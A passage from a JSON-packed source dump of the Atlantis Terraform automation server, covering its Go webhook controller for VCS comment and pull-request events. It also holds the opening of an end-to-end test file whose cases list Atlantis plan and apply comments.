err)\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Failed to parse request body\")\n\t\treturn\n\t}\n\te.Logger.Debug(\"Successfully unmarshaled Gitea comment event\")\n\n\tbaseRepo, user, pullNum, _ := e.Parser.ParseGiteaIssueCommentEvent(event)\n\t// Since we're lacking headRepo and maybePull details, we'll pass nil\n\t// This follows the same approach as the GitHub client for handling comment events without full PR details\n\tresponse := e.handleCommentEvent(e.Logger, baseRepo, nil, nil, user, pullNum, event.Comment.Body, event.Comment.ID, models.Gitea)\n\n\te.respond(w, logging.Debug, http.StatusOK, \"%s\", response.body)\n}\n\n// HandleGithubCommentEvent handles comment events from GitHub where Atlantis\n// commands can come from. It's exported to make testing easier.\nfunc (e *VCSEventsController) HandleGithubCommentEvent(event *github.IssueCommentEvent, githubReqID string, logger logging.SimpleLogging) HTTPResponse {\n\tif event.GetAction() != \"created\" {\n\t\treturn HTTPResponse{\n\t\t\tbody: fmt.Sprintf(\"Ignoring comment event since action was not created %s\", githubReqID),\n\t\t}\n\t}\n\n\tbaseRepo, user, pullNum, err := e.Parser.ParseGithubIssueCommentEvent(logger, event)\n\n\tif err != nil {\n\t\twrapped := fmt.Errorf(\"parsing event: %s: %w\", githubReqID, err)\n\t\treturn HTTPResponse{\n\t\t\tbody: wrapped.Error(),\n\t\t\terr: HTTPError{\n\t\t\t\tcode:       http.StatusBadRequest,\n\t\t\t\terr:        wrapped,\n\t\t\t\tisSilenced: false,\n\t\t\t},\n\t\t}\n\t}\n\n\tcomment := event.GetComment()\n\n\t// We pass in nil for maybeHeadRepo because the head repo data isn't\n\t// available in the GithubIssueComment event.\n\treturn e.handleCommentEvent(logger, baseRepo, nil, nil, user, pullNum, comment.GetBody(), comment.GetID(), models.Github)\n}\n\n// HandleBitbucketCloudCommentEvent handles comment events from Bitbucket.\nfunc (e *VCSEventsController) HandleBitbucketCloudCommentEvent(w http.ResponseWriter, body []byte, reqID string) {\n\tpull, baseRepo, headRepo, user, comment, err := e.Parser.ParseBitbucketCloudPullCommentEvent(body)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Error parsing pull data: %s %s=%s\", err, bitbucketCloudRequestIDHeader, reqID)\n\t\treturn\n\t}\n\tresp := e.handleCommentEvent(e.Logger, baseRepo, &headRepo, &pull, user, pull.Num, comment, -1, models.BitbucketCloud)\n\n\t//TODO: move this to the outer most function similar to github\n\tlvl := logging.Debug\n\tcode := http.StatusOK\n\tmsg := resp.body\n\tif resp.err.code != 0 {\n\t\tlvl = logging.Error\n\t\tcode = resp.err.code\n\t\tmsg = resp.err.err.Error()\n\t}\n\te.respond(w, lvl, code, \"%s\", msg)\n}\n\n// HandleBitbucketServerCommentEvent handles comment events from Bitbucket.\nfunc (e *VCSEventsController) HandleBitbucketServerCommentEvent(w http.ResponseWriter, body []byte, reqID string) {\n\tpull, baseRepo, headRepo, user, comment, err := e.Parser.ParseBitbucketServerPullCommentEvent(body)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Error parsing pull data: %s %s=%s\", err, bitbucketCloudRequestIDHeader, reqID)\n\t\treturn\n\t}\n\tresp := e.handleCommentEvent(e.Logger, baseRepo, &headRepo, &pull, user, pull.Num, comment, -1, models.BitbucketCloud)\n\n\t//TODO: move this to the outer most function similar to github\n\tlvl := logging.Debug\n\tcode := http.StatusOK\n\tmsg := resp.body\n\tif resp.err.code != 0 {\n\t\tlvl = logging.Error\n\t\tcode = resp.err.code\n\t\tmsg = resp.err.err.Error()\n\t}\n\te.respond(w, lvl, code, \"%s\", msg)\n}\n\nfunc (e *VCSEventsController) handleBitbucketCloudPullRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, eventType string, body []byte, reqID string) {\n\tpull, baseRepo, headRepo, user, err := e.Parser.ParseBitbucketCloudPullEvent(body)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Error parsing pull data: %s %s=%s\", err, bitbucketCloudRequestIDHeader, reqID)\n\t\treturn\n\t}\n\te.Logger.Debug(\"SHA is %q\", pull.HeadCommit)\n\tpullEventType := e.Parser.GetBitbucketCloudPullEventType(eventType, pull.HeadCommit, pull.URL)\n\n\t// Annotate logger with repo and pull/merge request number.\n\tlogger = logger.With(\n\t\t\"repo\", baseRepo.FullName,\n\t\t\"pull\", strconv.Itoa(pull.Num),\n\t)\n\n\tlogger.Info(\"Handling Bitbucket Cloud Pull Request '%s' event\", pullEventType.String())\n\tresp := e.handlePullRequestEvent(e.Logger, baseRepo, headRepo, pull, user, pullEventType)\n\n\t//TODO: move this to the outer most function similar to github\n\tlvl := logging.Debug\n\tcode := http.StatusOK\n\tmsg := resp.body\n\tif resp.err.code != 0 {\n\t\tlvl = logging.Error\n\t\tcode = resp.err.code\n\t\tmsg = resp.err.err.Error()\n\t}\n\te.respond(w, lvl, code, \"%s\", msg)\n}\n\nfunc (e *VCSEventsController) handleBitbucketServerPullRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, eventType string, body []byte, reqID string) {\n\tpull, baseRepo, headRepo, user, err := e.Parser.ParseBitbucketServerPullEvent(body)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Error parsing pull data: %s %s=%s\", err, bitbucketServerRequestIDHeader, reqID)\n\t\treturn\n\t}\n\tpullEventType := e.Parser.GetBitbucketServerPullEventType(eventType)\n\n\t// Annotate logger with repo and pull/merge request number.\n\tlogger = logger.With(\n\t\t\"repo\", baseRepo.FullName,\n\t\t\"pull\", strconv.Itoa(pull.Num),\n\t)\n\n\tlogger.Info(\"Handling Bitbucket Server Pull Request '%s' event\", pullEventType.String())\n\tresp := e.handlePullRequestEvent(e.Logger, baseRepo, headRepo, pull, user, pullEventType)\n\n\t//TODO: move this to the outer most function similar to github\n\tlvl := logging.Debug\n\tcode := http.StatusOK\n\tmsg := resp.body\n\tif resp.err.code != 0 {\n\t\tlvl = logging.Error\n\t\tcode = resp.err.code\n\t\tmsg = resp.err.err.Error()\n\t}\n\te.respond(w, lvl, code, \"%s\", msg)\n}\n\n// HandleGithubPullRequestEvent will delete any locks associated with the pull\n// request if the event is a pull request closed event. It's exported to make\n// testing easier.\nfunc (e *VCSEventsController) HandleGithubPullRequestEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent, githubReqID string) HTTPResponse {\n\tpull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGithubPullEvent(logger, pullEvent)\n\tif err != nil {\n\t\twrapped := fmt.Errorf(\"parsing pull data: %s %s: %w\", err, githubReqID, err)\n\t\treturn HTTPResponse{\n\t\t\tbody: wrapped.Error(),\n\t\t\terr: HTTPError{\n\t\t\t\tcode:       http.StatusBadRequest,\n\t\t\t\terr:        wrapped,\n\t\t\t\tisSilenced: false,\n\t\t\t},\n\t\t}\n\t}\n\n\t// Annotate logger with repo and pull/merge request number.\n\tlogger = logger.With(\n\t\t\"repo\", baseRepo.FullName,\n\t\t\"pull\", strconv.Itoa(pull.Num),\n\t)\n\n\tlogger.Info(\"Handling GitHub Pull Request '%s' event\", pullEventType.String())\n\treturn e.handlePullRequestEvent(logger, baseRepo, headRepo, pull, user, pullEventType)\n}\n\nfunc (e *VCSEventsController) handlePullRequestEvent(logger logging.SimpleLogging, baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User, eventType models.PullRequestEventType) HTTPResponse {\n\tif !e.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) {\n\t\t// If the repo isn't allowlisted and we receive an opened pull request\n\t\t// event we comment back on the pull request that the repo isn't\n\t\t// allowlisted. This is because the user might be expecting Atlantis to\n\t\t// autoplan. For other events, we just ignore them.\n\t\tif eventType == models.OpenedPullEvent {\n\t\t\te.commentNotAllowlisted(baseRepo, pull.Num)\n\t\t}\n\n\t\terr := fmt.Errorf(\"pull request event from non-allowlisted repo '%s/%s'\", baseRepo.VCSHost.Hostname, baseRepo.FullName)\n\n\t\treturn HTTPResponse{\n\t\t\tbody: err.Error(),\n\t\t\terr: HTTPError{\n\t\t\t\tcode:       http.StatusForbidden,\n\t\t\t\terr:        err,\n\t\t\t\tisSilenced: e.SilenceAllowlistErrors,\n\t\t\t},\n\t\t}\n\t}\n\n\tswitch eventType {\n\tcase models.OpenedPullEvent, models.UpdatedPullEvent:\n\t\t// If the pull request was opened or updated, we will try to autoplan.\n\n\t\t// Respond with success and then actually execute the command asynchronously.\n\t\t// We use a goroutine so that this function returns and the connection is\n\t\t// closed.\n\t\tif !e.TestingMode {\n\t\t\tgo e.CommandRunner.RunAutoplanCommand(baseRepo, headRepo, pull, user)\n\t\t} else {\n\t\t\t// When testing we want to wait for everything to complete.\n\t\t\te.CommandRunner.RunAutoplanCommand(baseRepo, headRepo, pull, user)\n\t\t}\n\t\treturn HTTPResponse{\n\t\t\tbody: \"Processing...\",\n\t\t}\n\tcase models.ClosedPullEvent:\n\t\t// If the pull request was closed, we delete locks.\n\t\tlogger.Info(\"Pull request closed, cleaning up...\")\n\t\tif err := e.PullCleaner.CleanUpPull(logger, baseRepo, pull); err != nil {\n\t\t\treturn HTTPResponse{\n\t\t\t\tbody: err.Error(),\n\t\t\t\terr: HTTPError{\n\t\t\t\t\tcode:       http.StatusForbidden,\n\t\t\t\t\terr:        err,\n\t\t\t\t\tisSilenced: false,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t\tlogger.Info(\"Locks and workspace successfully deleted\")\n\t\treturn HTTPResponse{\n\t\t\tbody: \"Pull request cleaned successfully\",\n\t\t}\n\tcase models.OtherPullEvent:\n\t\t// Else we ignore the event.\n\t\treturn HTTPResponse{\n\t\t\tbody: \"Ignoring non-actionable pull request event\",\n\t\t}\n\t}\n\treturn HTTPResponse{}\n}\n\nfunc (e *VCSEventsController) handleGitlabPost(w http.ResponseWriter, r *http.Request) {\n\tevent, err := e.GitlabRequestParserValidator.ParseAndValidate(r, e.GitlabWebhookSecret)\n\tif err != nil {\n\t\te.respond(w, logging.Warn, http.StatusBadRequest, \"%s\", err.Error())\n\t\treturn\n\t}\n\te.Logger.Debug(\"request valid\")\n\n\tswitch event := event.(type) {\n\tcase gitlab.MergeCommentEvent:\n\t\te.Logger.Debug(\"handling as comment event\")\n\t\te.HandleGitlabCommentEvent(w, event)\n\tcase gitlab.MergeEvent:\n\t\te.HandleGitlabMergeRequestEvent(e.Logger, w, event)\n\tcase gitlab.CommitCommentEvent:\n\t\te.Logger.Debug(\"comments on commits are not supported, only comments on merge requests\")\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring comment on commit event\")\n\tdefault:\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring unsupported event\")\n\t}\n\n}\n\n// HandleGitlabCommentEvent handles comment events from GitLab where Atlantis\n// commands can come from. It's exported to make testing easier.\nfunc (e *VCSEventsController) HandleGitlabCommentEvent(w http.ResponseWriter, event gitlab.MergeCommentEvent) {\n\t// todo: can gitlab return the pull request here too?\n\tbaseRepo, headRepo, commentID, user, err := e.Parser.ParseGitlabMergeRequestCommentEvent(event)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Error parsing webhook: %s\", err)\n\t\treturn\n\t}\n\tresp := e.handleCommentEvent(e.Logger, baseRepo, &headRepo, nil, user, event.MergeRequest.IID, event.ObjectAttributes.Note, int64(commentID), models.Gitlab)\n\n\t//TODO: move this to the outer most function similar to github\n\tlvl := logging.Debug\n\tcode := http.StatusOK\n\tmsg := resp.body\n\tif resp.err.code != 0 {\n\t\tlvl = logging.Error\n\t\tcode = resp.err.code\n\t\tmsg = resp.err.err.Error()\n\t}\n\te.respond(w, lvl, code, \"%s\", msg)\n}\n\nfunc (e *VCSEventsController) handleCommentEvent(logger logging.SimpleLogging, baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, comment string, commentID int64, vcsHost models.VCSHostType) HTTPResponse {\n\tlogger = logger.WithHistory(\n\t\t\"repo\", baseRepo.FullName,\n\t\t\"pull\", pullNum,\n\t)\n\n\tparseResult := e.CommentParser.Parse(comment, vcsHost)\n\tif parseResult.Ignore {\n\t\ttruncated := comment\n\t\ttruncateLen := 40\n\t\tif len(truncated) > truncateLen {\n\t\t\ttruncated = comment[:truncateLen] + \"...\"\n\t\t}\n\t\tlogger.Debug(\"Ignoring non-command comment: '%s'\", truncated)\n\t\treturn HTTPResponse{\n\t\t\tbody: fmt.Sprintf(\"Ignoring non-command comment: %q\", truncated),\n\t\t}\n\t}\n\tif parseResult.Command != nil {\n\t\tlogger.Info(\"Handling '%s' comment\", parseResult.Command.Name)\n\t}\n\n\t// At this point we know it's a command we're not supposed to ignore, so now\n\t// we check if this repo is allowed to run commands in the first place.\n\tif !e.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) {\n\t\te.commentNotAllowlisted(baseRepo, pullNum)\n\n\t\terr := errors.New(\"repo not allowlisted\")\n\n\t\treturn HTTPResponse{\n\t\t\tbody: err.Error(),\n\t\t\terr: HTTPError{\n\t\t\t\terr:        err,\n\t\t\t\tcode:       http.StatusForbidden,\n\t\t\t\tisSilenced: e.SilenceAllowlistErrors,\n\t\t\t},\n\t\t}\n\t}\n\n\t// It's a comment we're going to react to so add a reaction.\n\tif e.EmojiReaction != \"\" {\n\t\terr := e.VCSClient.ReactToComment(logger, baseRepo, pullNum, commentID, e.EmojiReaction)\n\t\tif err != nil {\n\t\t\tlogger.Warn(\"Failed to react to comment: %s\", err)\n\t\t}\n\t}\n\n\t// If the command isn't valid or doesn't require processing, ex.\n\t// \"atlantis help\" then we just comment back immediately.\n\t// We do this here rather than earlier because we need access to the pull\n\t// variable to comment back on the pull request.\n\tif parseResult.CommentResponse != \"\" {\n\t\tif err := e.VCSClient.CreateComment(logger, baseRepo, pullNum, parseResult.CommentResponse, \"\"); err != nil {\n\t\t\tlogger.Err(\"Unable to comment on pull request: %s\", err)\n\t\t}\n\t\treturn HTTPResponse{\n\t\t\tbody: \"Commenting back on pull request\",\n\t\t}\n\t}\n\tif parseResult.Command.RepoRelDir != \"\" {\n\t\tlogger.Info(\"Running comment command '%v' on dir '%v' for user '%v'.\",\n\t\t\tparseResult.Command.Name, parseResult.Command.RepoRelDir, user.Username)\n\t} else {\n\t\tlogger.Info(\"Running comment command '%v' for user '%v'.\", parseResult.Command.Name, user.Username)\n\t}\n\tif !e.TestingMode {\n\t\t// Respond with success and then actually execute the command asynchronously.\n\t\t// We use a goroutine so that this function returns and the connection is\n\t\t// closed.\n\t\tgo e.CommandRunner.RunCommentCommand(baseRepo, maybeHeadRepo, maybePull, user, pullNum, parseResult.Command)\n\t} else {\n\t\t// When testing we want to wait for everything to complete.\n\t\te.CommandRunner.RunCommentCommand(baseRepo, maybeHeadRepo, maybePull, user, pullNum, parseResult.Command)\n\t}\n\n\treturn HTTPResponse{\n\t\tbody: \"Processing...\",\n\t}\n}\n\n// HandleGitlabMergeRequestEvent will delete any locks associated with the pull\n// request if the event is a merge request closed event. It's exported to make\n// testing easier.\nfunc (e *VCSEventsController) HandleGitlabMergeRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, event gitlab.MergeEvent) {\n\tpull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGitlabMergeRequestEvent(event)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Error parsing webhook: %s\", err)\n\t\treturn\n\t}\n\n\t// Annotate logger with repo and pull/merge request number.\n\tlogger = logger.With(\n\t\t\"repo\", baseRepo.FullName,\n\t\t\"pull\", strconv.Itoa(pull.Num),\n\t)\n\tlogger.Info(\"Processing Gitlab merge request '%s' event\", pullEventType.String())\n\tresp := e.handlePullRequestEvent(logger, baseRepo, headRepo, pull, user, pullEventType)\n\n\t//TODO: move this to the outer most function similar to github\n\tlvl := logging.Debug\n\tcode := http.StatusOK\n\tmsg := resp.body\n\tif resp.err.code != 0 {\n\t\tlvl = logging.Error\n\t\tcode = resp.err.code\n\t\tmsg = resp.err.err.Error()\n\t}\n\te.respond(w, lvl, code, \"%s\", msg)\n}\n\n// HandleAzureDevopsPullRequestCommentedEvent handles comment events from Azure DevOps where Atlantis\n// commands can come from. It's exported to make testing easier.\n// Sometimes we may want data from the parent azuredevops.Event struct, so we handle type checking here.\n// Requires Resource Version 2.0 of the Pull Request Commented On webhook payload.\nfunc (e *VCSEventsController) HandleAzureDevopsPullRequestCommentedEvent(w http.ResponseWriter, event *azuredevops.Event, azuredevopsReqID string) {\n\tresource, ok := event.Resource.(*azuredevops.GitPullRequestWithComment)\n\tif !ok || event.PayloadType != azuredevops.PullRequestCommentedEvent {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Event.Resource is nil or received bad event type %v; %s\", event.Resource, azuredevopsReqID)\n\t\treturn\n\t}\n\n\tif resource.Comment == nil {\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring comment event since no comment is linked to payload; %s\", azuredevopsReqID)\n\t\treturn\n\t}\n\n\tif resource.Comment.GetIsDeleted() {\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring comment event since it is linked to deleting a pull request comment; %s\", azuredevopsReqID)\n\t\treturn\n\t}\n\n\tstrippedComment := bluemonday.StrictPolicy().SanitizeBytes([]byte(*resource.Comment.Content))\n\n\tif resource.PullRequest == nil {\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring comment event since no pull request is linked to payload; %s\", azuredevopsReqID)\n\t\treturn\n\t}\n\n\tif isAzureDevOpsTestRepoURL(resource.PullRequest.GetRepository()) {\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring Azure DevOps Test Event with Repo URL: %v %s\", resource.PullRequest.Repository.URL, azuredevopsReqID)\n\t\treturn\n\t}\n\n\tcreatedBy := resource.PullRequest.GetCreatedBy()\n\tuser := models.User{Username: createdBy.GetUniqueName()}\n\tbaseRepo, err := e.Parser.ParseAzureDevopsRepo(resource.PullRequest.GetRepository())\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Error parsing pull request repository field: %s; %s\", err, azuredevopsReqID)\n\t\treturn\n\t}\n\tresp := e.handleCommentEvent(e.Logger, baseRepo, nil, nil, user, resource.PullRequest.GetPullRequestID(), string(strippedComment), -1, models.AzureDevops)\n\n\t//TODO: move this to the outer most function similar to github\n\tlvl := logging.Debug\n\tcode := http.StatusOK\n\tmsg := resp.body\n\tif resp.err.code != 0 {\n\t\tlvl = logging.Error\n\t\tcode = resp.err.code\n\t\tmsg = resp.err.err.Error()\n\t}\n\te.respond(w, lvl, code, \"%s\", msg)\n}\n\n// HandleAzureDevopsPullRequestEvent will delete any locks associated with the pull\n// request if the event is a pull request closed event. It's exported to make\n// testing easier.\nfunc (e *VCSEventsController) HandleAzureDevopsPullRequestEvent(w http.ResponseWriter, event *azuredevops.Event, azuredevopsReqID string) {\n\tprText := event.Message.GetText()\n\tignoreEvents := []string{\n\t\t\"changed the reviewer list\",\n\t\t\"approved pull request\",\n\t\t\"has approved and left suggestions\",\n\t\t\"is waiting for the author\",\n\t\t\"rejected pull request\",\n\t\t\"voted on pull request\",\n\t}\n\tfor _, s := range ignoreEvents {\n\t\tif strings.Contains(prText, s) {\n\t\t\tmsg := fmt.Sprintf(\"pull request updated event is not a supported type [%s]\", s)\n\t\t\te.respond(w, logging.Debug, http.StatusOK, \"%s: %s\", msg, azuredevopsReqID)\n\t\t\treturn\n\t\t}\n\t}\n\n\tresource, ok := event.Resource.(*azuredevops.GitPullRequest)\n\tif !ok || event.PayloadType != azuredevops.PullRequestEvent {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Event.Resource is nil or received bad event type %v; %s\", event.Resource, azuredevopsReqID)\n\t\treturn\n\t}\n\tif isAzureDevOpsTestRepoURL(resource.GetRepository()) {\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring Azure DevOps Test Event with Repo URL: %v %s\", resource.Repository.URL, azuredevopsReqID)\n\t\treturn\n\t}\n\n\tpull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseAzureDevopsPullEvent(*event)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Error parsing pull data: %s %s\", err, azuredevopsReqID)\n\t\treturn\n\t}\n\te.Logger.Info(\"identified event as type %q\", pullEventType.String())\n\tresp := e.handlePullRequestEvent(e.Logger, baseRepo, headRepo, pull, user, pullEventType)\n\n\t//TODO: move this to the outer most function similar to github\n\tlvl := logging.Debug\n\tcode := http.StatusOK\n\tmsg := resp.body\n\tif resp.err.code != 0 {\n\t\tlvl = logging.Error\n\t\tcode = resp.err.code\n\t\tmsg = resp.err.err.Error()\n\t}\n\te.respond(w, lvl, code, \"%s\", msg)\n}\n\n// supportsHost returns true if h is in e.SupportedVCSHosts and false otherwise.\nfunc (e *VCSEventsController) supportsHost(h models.VCSHostType) bool {\n\treturn slices.Contains(e.SupportedVCSHosts, h)\n}\n\nfunc (e *VCSEventsController) respond(w http.ResponseWriter, lvl logging.LogLevel, code int, format string, args ...any) {\n\tresponse := fmt.Sprintf(format, args...)\n\te.Logger.Log(lvl, response)\n\tw.WriteHeader(code)\n\tfmt.Fprintln(w, response)\n}\n\n// commentNotAllowlisted comments on the pull request that the repo is not\n// allowlisted unless allowlist error comments are disabled.\nfunc (e *VCSEventsController) commentNotAllowlisted(baseRepo models.Repo, pullNum int) {\n\tif e.SilenceAllowlistErrors {\n\t\treturn\n\t}\n\n\terrMsg := \"```\\nError: This repo is not allowlisted for Atlantis.\\n```\"\n\tif err := e.VCSClient.CreateComment(e.Logger, baseRepo, pullNum, errMsg, \"\"); err != nil {\n\t\te.Logger.Err(\"unable to comment on pull request: %s\", err)\n\t}\n}\n\nfunc isAzureDevOpsTestRepoURL(repository *azuredevops.GitRepository) bool {\n\tif repository == nil {\n\t\treturn false\n\t}\n\treturn repository.GetURL() == azuredevopsTestURL\n}\n"
  },
  {
    "path": "server/controllers/events/events_controller_e2e_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"slices\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/google/go-github/v83/github\"\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\n\t\"github.com/runatlantis/atlantis/server\"\n\tevents_controllers \"github.com/runatlantis/atlantis/server/controllers/events\"\n\t\"github.com/runatlantis/atlantis/server/core/boltdb\"\n\t\"github.com/runatlantis/atlantis/server/core/config\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\truntimemocks \"github.com/runatlantis/atlantis/server/core/runtime/mocks\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/policy\"\n\tmock_policy \"github.com/runatlantis/atlantis/server/core/runtime/policy/mocks\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\tterraform_mocks \"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/tfclient\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks\"\n\tjobmocks \"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics/metricstest\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// In the e2e test, we use `conftest` not `conftest$version`.\n// Because if depends on the version, we need to upgrade test base image before e2e fix it.\nconst conftestCommand = \"conftest\"\n\nvar applyLocker locking.ApplyLocker\nvar userConfig server.UserConfig\n\ntype NoopTFDownloader struct{}\n\nvar mockPreWorkflowHookRunner *runtimemocks.MockPreWorkflowHookRunner\n\nvar mockPostWorkflowHookRunner *runtimemocks.MockPostWorkflowHookRunner\n\nfunc (m *NoopTFDownloader) Install(_ string, _ string, _ *version.Version) (string, error) {\n\treturn \"\", nil\n}\n\ntype LocalConftestCache struct {\n}\n\nfunc (m *LocalConftestCache) Get(_ *version.Version) (string, error) {\n\treturn exec.LookPath(conftestCommand)\n}\n\nfunc TestGitHubWorkflow(t *testing.T) {\n\n\tif testing.Short() {\n\t\tt.SkipNow()\n\t}\n\t// Ensure we have >= TF 0.14 locally.\n\tensureRunning014(t)\n\n\tcases := []struct {\n\t\tDescription string\n\t\t// RepoDir is relative to testdata/test-repos.\n\t\tRepoDir string\n\t\t// RepoConfigFile is path for atlantis.yaml\n\t\tRepoConfigFile string\n\t\t// ModifiedFiles are the list of files that have been modified in this\n\t\t// pull request.\n\t\tModifiedFiles []string\n\t\t// Comments are what our mock user writes to the pull request.\n\t\tComments []string\n\t\t// ApplyLock creates an apply lock that temporarily disables apply command\n\t\tApplyLock bool\n\t\t// AllowCommands flag what kind of atlantis commands are available.\n\t\tAllowCommands []command.Name\n\t\t// DisableAutoplan flag disable auto plans when any pull request is opened.\n\t\tDisableAutoplan bool\n\t\t// DisablePreWorkflowHooks if set to true, pre-workflow hooks will be disabled\n\t\tDisablePreWorkflowHooks bool\n\t\t// ExpAutomerge is true if we expect Atlantis to automerge.\n\t\tExpAutomerge bool\n\t\t// ExpAutoplan is true if we expect Atlantis to autoplan.\n\t\tExpAutoplan bool\n\t\t// ExpParallel is true if we expect Atlantis to run parallel plans or applies.\n\t\tExpParallel bool\n\t\t// ExpMergeable is true if we expect Atlantis to be able to merge.\n\t\t// If for instance policy check is failing and there are no approvals\n\t\t// ExpMergeable should be false\n\t\tExpMergeable bool\n\t\t// ExpReplies is a list of files containing the expected replies that\n\t\t// Atlantis writes to the pull request in order. A reply from a parallel operation\n\t\t// will be matched using a substring check.\n\t\tExpReplies [][]string\n\t\t// ExpAllowResponseCommentBack allow http response content with \"Commenting back on pull request\"\n\t\tExpAllowResponseCommentBack bool\n\t\t// ExpParseFailedCount represents how many times test sends invalid commands\n\t\tExpParseFailedCount int\n\t\t// ExpNoLocksToDelete whether we expect that there are no locks at the end to delete\n\t\tExpNoLocksToDelete bool\n\t}{\n\t\t{\n\t\t\tDescription:        \"no comment or change\",\n\t\t\tRepoDir:            \"simple\",\n\t\t\tModifiedFiles:      []string{},\n\t\t\tComments:           []string{},\n\t\t\tExpReplies:         [][]string{},\n\t\t\tExpNoLocksToDelete: true,\n\t\t},\n\t\t{\n\t\t\tDescription:   \"no comment\",\n\t\t\tRepoDir:       \"simple\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tComments:      []string{},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t\tExpAutoplan: true,\n\t\t},\n\t\t{\n\t\t\tDescription:   \"simple\",\n\t\t\tRepoDir:       \"simple\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t\tExpAutoplan: true,\n\t\t},\n\t\t{\n\t\t\tDescription:   \"simple with plan comment\",\n\t\t\tRepoDir:       \"simple\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan\",\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"simple with comment -var\",\n\t\t\tRepoDir:       \"simple\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan -- -var var=overridden\",\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-atlantis-plan-var-overridden.txt\"},\n\t\t\t\t{\"exp-output-apply-var.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"simple with workspaces\",\n\t\t\tRepoDir:       \"simple\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan -- -var var=default_workspace\",\n\t\t\t\t\"atlantis plan -w new_workspace -- -var var=new_workspace\",\n\t\t\t\t\"atlantis apply -w default\",\n\t\t\t\t\"atlantis apply -w new_workspace\",\n\t\t\t},\n\t\t\tExpReplies: 